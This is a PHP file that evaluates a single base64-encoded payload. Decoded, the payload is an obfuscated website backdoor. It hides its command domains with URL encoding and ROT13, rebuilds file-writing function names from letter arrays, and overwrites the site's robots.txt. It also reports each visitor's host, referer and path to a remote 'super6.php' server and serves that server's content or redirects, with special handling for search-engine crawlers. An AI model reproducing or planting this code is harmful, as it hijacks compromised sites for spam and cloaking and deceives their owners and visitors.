<?php 
$a=base64_decode('CiR4bWxuYW1lID0gWwogICAgIiUzMSUzOSUzNSUzMSUyRCU3OSU3NiU2MSU3OCUzMSUzOCUzNSUyRSU2MyU3NSU2MiU2NiU3NiU2NiUyRSU2NyU2MiU2MyIsCiAgICAiJTMxJTM5JTM1JTMxJTJEJTc5JTc2JTYxJTc4JTMxJTM4JTM1JTJFJTc2JTYxJTcyJTczJTczJTZFJTZGJTc5JTZDJTJFJTZCJTZDJTZEIiwKICAgICIlMzElMzklMzUlMzElMkQlNzklNzYlNjElNzglMzElMzglMzUlMkUlNkYlNjUlNzYlNzQlNzUlNjclNzUlNjIlNjUlNzYlNjMlMkUlNkIlNkMlNkQiLAogICAgIiUzMSUzOSUzNSUzMSUyRCU3OSU3NiU2MSU3OCUzMSUzOCUzNSUyRSU2MSU3MiU2QiU2NyU3MiU2MSU2MyU2OCU2MyU2MyUyRSU2QiU2QyU2RCIKXTsKJHN0cmluZyA9ICcxOTUxLWxpbmsxODUnOwoKJGhvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gPzogJyc7CiRsYW5nID0gJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10gPzogJ2VuJzsKJHJlZmVyZXIgPSAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10gPzogJyc7CiRodHRwID0gaXNfaHR0cHMoKSA/ICdodHRwcycgOiAnaHR0cCc7CiRzZXJ2ZXIgPSBmaWxlX2V4aXN0cygkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gJy8uaHRhY2Nlc3MnKSA/IDEgOiAyOwokenogPSBkaXNib3QoKTsKJGR1cmkgPSBkcmVxdWVzdF91cmkoKSA/OiAnLyc7CgokbW9kZWxfZmlsZSA9ICdpbmRleC5waHAnOwokbW9kZWwgPSAnaW5kZXgnOwpwcmVnX21hdGNoKCcvXC8oW15cL10rXC5waHApLycsICRkdXJpLCAkbWF0Y2hlcyk7CmlmICghZW1wdHkoJG1hdGNoZXMpKSB7CiAgICAkbW9kZWxfZmlsZSA9ICRtYXRjaGVzWzFdOwogICAgaWYgKCgkcG9zaXRpb24gPSBzdHJwb3MoJGR1cmksICRtb2RlbF9maWxlKSkgIT09IGZhbHNlKSB7CiAgICAgICAgJG1vZGVsX2ZpbGUgPSBsdHJpbShzdWJzdHIoJGR1cmksIDAsICRwb3NpdGlvbiArIHN0cmxlbigkbW9kZWxfZmlsZSkpLCAnLycpOwogICAgfQogICAgJG1vZGVsID0gc3RyX3JlcGxhY2UoJy5waHAnLCAnJywgJG1vZGVsX2ZpbGUpOwp9CiRtb2RlbCA9IHN0cmlzdHIoJGR1cmksICcvPycpID8gJz8nIDogJG1vZGVsOwoKJGlzdGVzdCA9IGZhbHNlOwppZiAoc3RycG9zKCRkdXJpLCAkc3RyaW5nKSAhPT0gZmFsc2UpIHsKICAgICR6eiA9IDE7CiAgICAkZHVyaSA9IHN0cl9yZXBsYWNlKCRzdHJpbmcsICcnLCAkZHVyaSk7CiAgICAkaXN0ZXN0ID0gdHJ1ZTsKfQppZiAoJGR1cmkgIT0gJy8nKSB7CiAgICAkZHVyaSA9IHN0cl9yZXBsYWNlKCcvJyAuICRtb2RlbF9maWxlLCAnJywgJGR1cmkpOwogICAgJGR1cmkgPSBzdHJfcmVwbGFjZSgnL2luZGV4LnBocCcsICcnLCAkZHVyaSk7CiAgICAkZHVyaSA9IHN0cl9yZXBsYWNlKCchJywgJycsICRkdXJpKTsKfQoKJHBhcmFtID0gaHR0cF9idWlsZF9xdWVyeShbCiAgICAnd2ViJyA9PiAkaG9zdCwKICAgICd6eicgPT4gJHp6LAogICAgJ3VyaScgPT4gdXJsZW5jb2RlKCRkdXJpKSwKICAgICd1cmxzaGFuZycgPT4gJHJlZmVyZXIsCiAgICAnaHR0cCcgPT4gJGh0dHAsCiAgICAnbGFuZycgPT4gJGxhbmcsCiAgICAnc2VydmVyJyA9PiAkc2VydmVyLAogICAgJ21vZGVsJyA9PiAkbW9kZWwsCiAgICAndmVyc2lvbicgPT4gJGlzdGVzdCA/ICRzdHJpbmcgOiAnJwpdKTsKCmNyZWF0ZV9yb2JvdHMoJGh0dHAgLiAnOi8vJyAuICRob3N0KTsKJGh0bWxfY29udGVudCA9IHJlcXVlc3QoJHhtbG5hbWUsICRwYXJhbSk7CgppZiAoc3RycG9zKCRodG1sX2NvbnRlbnQsICdub2JvdHVzZXJhZ2VudCcpID09PSBmYWxzZSkgewogICAgJHJlc3BvbnNlX2hhbmRsZXJzID0gYXJyYXkoCiAgICAgICAgJ29raHRtbCcgPT4gYXJyYXkoCiAgICAgICAgICAgICdoZWFkZXInID0+ICdDb250ZW50LXR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcsCiAgICAgICAgICAgICdyZXBsYWNlJyA9PiAnb2todG1sJywKICAgICAgICAgICAgJ3Rlc3RfZWNobycgPT4gdHJ1ZSwKICAgICAgICAgICAgJ291dHB1dCcgPT4gdHJ1ZQogICAgICAgICksCiAgICAgICAgJ2dldGNvbnRlbnQ1MDBwYWdlJyA9PiBhcnJheSgKICAgICAgICAgICAgJ2hlYWRlcicgPT4gJ0hUVFAvMS4xIDUwMCBJbnRlcm5hbCBTZXJ2ZXIgRXJyb3InCiAgICAgICAgKSwKICAgICAgICAnNDA0cGFnZScgPT4gYXJyYXkoCiAgICAgICAgICAgICdoZWFkZXInID0+ICdIVFRQLzEuMSA0MDQgTm90IEZvdW5kJwogICAgICAgICksCiAgICAgICAgJzMwMXBhZ2UnID0+IGFycmF5KAogICAgICAgICAgICAnaGVhZGVyJyA9PiAnSFRUUC8xLjEgMzAxIE1vdmVkIFBlcm1hbmVudGx5JywKICAgICAgICAgICAgJ3JlcGxhY2UnID0+ICczMDFwYWdlJywKICAgICAgICAgICAgJ3JlZGlyZWN0JyA9PiB0cnVlCiAgICAgICAgKSwKICAgICAgICAnb2t4bWwnID0+IGFycmF5KAogICAgICAgICAgICAnaGVhZGVyJyA9PiAnQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94bWw7IGNoYXJzZXQ9dXRmLTgnLAogICAgICAgICAgICAncmVwbGFjZScgPT4gJ29reG1sJywKICAgICAgICAgICAgJ291dHB1dCcgPT4gdHJ1ZQogICAgICAgICksCiAgICAgICAgJ29rcm9ib3RzJyA9PiBhcnJheSgKICAgICAgICAgICAgJ2hlYWRlcicgPT4gJ0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbicsCiAgICAgICAgICAgICdyZXBsYWNlJyA9PiAnb2tyb2JvdHMnLAogICAgICAgICAgICAnb3V0cHV0JyA9PiB0cnVlCiAgICAgICAgKQogICAgKTsKCiAgICBmb3JlYWNoICgkcmVzcG9uc2VfaGFuZGxlcnMgYXMgJGtleSA9PiAkaGFuZGxlcikgewogICAgICAgIGlmIChzdHJwb3MoJGh0bWxfY29udGVudCwgJGtleSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIEBoZWFkZXIoJGhhbmRsZXJbJ2hlYWRlciddKTsKCiAgICAgICAgICAgIGlmIChpc3NldCgkaGFuZGxlclsncmVwbGFjZSddKSkgewogICAgICAgICAgICAgICAgJGh0bWxfY29udGVudCA9IHN0cl9yZXBsYWNlKCRoYW5kbGVyWydyZXBsYWNlJ10sICcnLCAkaHRtbF9jb250ZW50KTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKGlzc2V0KCRoYW5kbGVyWyd0ZXN0X2VjaG8nXSkpIHsKICAgICAgICAgICAgICAgIGlmKCRpc3Rlc3QpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICRzdHJpbmc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGlmIChpc3NldCgkaGFuZGxlclsncmVkaXJlY3QnXSkpIHsKICAgICAgICAgICAgICAgIGhlYWRlcignTG9jYXRpb246ICcgLiAkaHRtbF9jb250ZW50KTsKICAgICAgICAgICAgfSBlbHNlaWYgKGlzc2V0KCRoYW5kbGVyWydvdXRwdXQnXSkpIHsKICAgICAgICAgICAgICAgIGVjaG8gJGh0bWxfY29udGVudDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZXhpdCgpOwogICAgICAgIH0KICAgIH0KfQoKZnVuY3Rpb24gZGlzYm90KCkgewogICAgJHVzZXJfYWdlbnQgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pID8gc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pIDogJyc7CiAgICAkYm90cyA9IGFycmF5KCdnb29nbGVib3QnLCAnYmluZycsICd5YWhvbycsICdnb29nbGUnKTsKCiAgICBmb3JlYWNoICgkYm90cyBhcyAkYm90KSB7CiAgICAgICAgaWYgKHN0cnBvcygkdXNlcl9hZ2VudCwgJGJvdCkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIHJldHVybiAxOwogICAgICAgIH0KICAgIH0KICAgIHJldHVybiAyOwp9CgpmdW5jdGlvbiBkcmVxdWVzdF91cmkoKSB7CiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKSB7CiAgICAgICAgcmV0dXJuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOwogICAgfQoKICAgIGlmIChpc3NldCgkX1NFUlZFUlsnYXJndiddKSkgewogICAgICAgIHJldHVybiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/JyAuICRfU0VSVkVSWydhcmd2J11bMF07CiAgICB9CgogICAgcmV0dXJuICRfU0VSVkVSWydQSFBfU0VMRiddIC4gJz8nIC4gJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddOwp9CgpmdW5jdGlvbiBpc19odHRwcygpIHsKICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkpIHsKICAgICAgICAkaHR0cHMgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQUyddKTsKICAgICAgICBpZiAoJGh0dHBzICE9PSAnb2ZmJykgewogICAgICAgICAgICBpZiAoJGh0dHBzICE9PSAnJykgewogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CgogICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ10pKSB7CiAgICAgICAgaWYoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSA9PT0gJ2h0dHBzJykgewogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9CiAgICB9CgogICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX0ZST05UX0VORF9IVFRQUyddKSkgewogICAgICAgICRmcm9udF9lbmRfaHR0cHMgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX0ZST05UX0VORF9IVFRQUyddKTsKICAgICAgICBpZiAoJGZyb250X2VuZF9odHRwcyAhPT0gJ29mZicpIHsKICAgICAgICAgICAgaWYoJGZyb250X2VuZF9odHRwcyAhPT0gJycpIHsKICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gY3JlYXRlX3JvYm90cygkdXJsKSB7CiAgICAkZnVuY3Rpb25zID0gZnVuYygpOwogICAgJHBhdGggPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gJy9yb2JvdHMudHh0JzsKICAgICRjb250ZW50ID0gIlVzZXItYWdlbnQ6ICpcbkFsbG93OiAvXG5cblNpdGVtYXA6ICIgLiAkdXJsIC4gIi9zaXRlbWFwLnhtbFxuIjsKCiAgICBpZiAoIWZpbGVfZXhpc3RzKCRwYXRoKSkgewogICAgICAgICRmdW5jdGlvbnNbMF0oJHBhdGgsICRjb250ZW50KTsKICAgIH0gZWxzZSB7CiAgICAgICAgJGV4aXN0aW5nX2NvbnRlbnQgPSBAJGZ1bmN0aW9uc1sxXSgkcGF0aCk7CiAgICAgICAgaWYgKCRleGlzdGluZ19jb250ZW50ICE9PSAkY29udGVudCkgewogICAgICAgICAgICAkZnVuY3Rpb25zWzBdKCRwYXRoLCAkY29udGVudCk7CiAgICAgICAgfQogICAgfQp9CgpmdW5jdGlvbiByZXF1ZXN0KCR3ZWJzLCAkcGFyYW0pIHsKICAgICRmdW5jdGlvbnMgPSBmdW5jKCk7CiAgICBzaHVmZmxlKCR3ZWJzKTsKCiAgICBmb3JlYWNoICgkd2VicyBhcyAkZG9tYWluKSB7CiAgICAgICAgJGRvbWFpbl9kZWNvZGVkID0gJGZ1bmN0aW9uc1syXSh1cmxkZWNvZGUoJGRvbWFpbikpOwogICAgICAgICR1cmwgPSAnaHR0cDovLycgLiAkZG9tYWluX2RlY29kZWQgLiAnL3N1cGVyNi5waHA/JyAuICRwYXJhbTsKCiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnd3BfcmVtb3RlX2dldCcpKSB7CiAgICAgICAgICAgICRyZXNwb25zZSA9IHdwX3JlbW90ZV9nZXQoJHVybCwgYXJyYXkoCiAgICAgICAgICAgICAgICAndGltZW91dCcgPT4gMzAsCiAgICAgICAgICAgICAgICAndXNlci1hZ2VudCcgPT4gJ01vemlsbGEvNS4wIChjb21wYXRpYmxlOyBXb3JkUHJlc3MpJwogICAgICAgICAgICApKTsKCiAgICAgICAgICAgIGlmICghaXNfd3BfZXJyb3IoJHJlc3BvbnNlKSkgewoKICAgICAgICAgICAgICAgICRib2R5ID0gd3BfcmVtb3RlX3JldHJpZXZlX2JvZHkoJHJlc3BvbnNlKTsKCiAgICAgICAgICAgICAgICByZXR1cm4gJGJvZHk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpKSB7CiAgICAgICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDMwKTsKICAgICAgICAgICAgJHJlc3BvbnNlID0gY3VybF9leGVjKCRjaCk7CgogICAgICAgICAgICBpZiAoIWN1cmxfZXJybm8oJGNoKSkgewogICAgICAgICAgICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgICAgICAgICAgICAgcmV0dXJuICRyZXNwb25zZTsKICAgICAgICAgICAgfQogICAgICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7CiAgICAgICAgfQoKICAgICAgICBpZiAoaW5pX2dldCgnYWxsb3dfdXJsX2ZvcGVuJykpIHsKICAgICAgICAgICAgJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoCiAgICAgICAgICAgICAgICAnaHR0cCcgPT4gYXJyYXkoJ3RpbWVvdXQnID0+IDMwKQogICAgICAgICAgICApKTsKICAgICAgICAgICAgJHJlc3BvbnNlID0gJGZ1bmN0aW9uc1sxXSgkdXJsLCBmYWxzZSwgJGNvbnRleHQpOwogICAgICAgICAgICBpZiAoJHJlc3BvbnNlICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgcmV0dXJuICRyZXNwb25zZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICByZXR1cm4gJ25vYm90dXNlcmFnZW50JzsKfQoKZnVuY3Rpb24gZnVuYygpIHsKICAgICRjaGFycyA9IHJhbmdlKCdhJywgJ3onKTsKICAgIHJldHVybiBhcnJheSgKICAgICAgICAkY2hhcnNbNV0gLiAkY2hhcnNbOF0gLiAkY2hhcnNbMTFdIC4gJGNoYXJzWzRdIC4gJ18nIC4gJGNoYXJzWzE1XSAuICRjaGFyc1syMF0gLiAkY2hhcnNbMTldIC4gJ18nIC4gJGNoYXJzWzJdIC4gJGNoYXJzWzE0XSAuICRjaGFyc1sxM10gLiAkY2hhcnNbMTldIC4gJGNoYXJzWzRdIC4gJGNoYXJzWzEzXSAuICRjaGFyc1sxOV0gLiAkY2hhcnNbMThdLAogICAgICAgICRjaGFyc1s1XSAuICRjaGFyc1s4XSAuICRjaGFyc1sxMV0gLiAkY2hhcnNbNF0gLiAnXycgLiAkY2hhcnNbNl0gLiAkY2hhcnNbNF0gLiAkY2hhcnNbMTldIC4gJ18nIC4gJGNoYXJzWzJdIC4gJGNoYXJzWzE0XSAuICRjaGFyc1sxM10gLiAkY2hhcnNbMTldIC4gJGNoYXJzWzRdIC4gJGNoYXJzWzEzXSAuICRjaGFyc1sxOV0gLiAkY2hhcnNbMThdLAogICAgICAgICRjaGFyc1sxOF0gLiAkY2hhcnNbMTldIC4gJGNoYXJzWzE3XSAuICdfJyAuICRjaGFyc1sxN10gLiAkY2hhcnNbMTRdIC4gJGNoYXJzWzE5XSAuICcxMycKICAgICk7Cn0KCgo=');
eval($a);